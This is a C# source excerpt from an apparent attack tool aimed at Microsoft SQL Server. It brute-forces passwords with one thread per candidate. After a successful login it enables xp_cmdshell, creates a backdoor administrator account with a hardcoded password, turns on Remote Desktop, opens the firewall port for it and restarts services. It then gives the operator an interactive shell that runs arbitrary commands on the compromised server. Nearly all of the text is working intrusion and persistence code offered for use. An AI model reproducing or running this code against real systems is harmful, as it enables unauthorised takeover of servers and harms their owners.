static void startThreads(string ip, List <string> topPasswords)
        {
            Exploit exploit = new Exploit();

            foreach (var password in topPasswords)
            {
                string[] ipAndPassword = { ip, password };
                Thread   t             = new Thread(new ParameterizedThreadStart(exploit.tryConnect));
                t.Start(ipAndPassword);
            }
        }
        public void observeResult(bool result, string connString)
        {
            if (result)
            {
                GenericFunctions.logSuccess("Finalized Connection String is : " + connString);

                Exploit exploit = new Exploit();

                GenericFunctions.logNotification("Starting Exploitation.. Devil Mode ON");

                GenericFunctions.logNotification("Enabling XP_CMD Shell..");

                GenericFunctions.dbResponse(exploit.executeCommand(connString, Exploit.ExploitationCommands[0]));

                GenericFunctions.logNotification("Enabling Automation Procedure..");

                GenericFunctions.dbResponse(exploit.executeCommand(connString, Exploit.ExploitationCommands[1]));

                GenericFunctions.logNotification("Adding user Ch3rn0by1 with password lafangoo..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[2]));

                GenericFunctions.logNotification("Adding user Ch3rn0by1 to Admin Group..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[3]));

                GenericFunctions.logNotification("Enabling Remote Desktop -- Method # 1..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[4]));

                GenericFunctions.logNotification("Enabling Remote Desktop -- Method # 2..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[5]));

                GenericFunctions.logNotification("Adding Remote Desktop Port in Firewall -- Method # 1..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[6]));

                GenericFunctions.logNotification("Adding Remote Desktop Port in Firewall -- Advance Method..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[7]));

                GenericFunctions.logNotification("Configuring Remote Service/Service Manager..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[8]));

                GenericFunctions.logNotification("Restarting Service Manager..");

                GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, Exploit.ExploitationCommands[9]));

                string choice = "x";
                while (choice != "c")
                {
                    Console.ForegroundColor = ConsoleColor.White;
                    Console.Write("Enter CMD Command to Execute on Server\nOR Press c to exit : ");
                    choice = Console.ReadLine().ToLower();
                    if (choice != "c")
                    {
                        choice = "EXEC master..xp_cmdshell'" + choice + "'";
                        GenericFunctions.logDataTable(exploit.executeCommandWithOutput(connString, choice));
                    }
                }
                GenericFunctions.logNotification("Press any key to exit..");
                Console.ReadKey();
            }
        }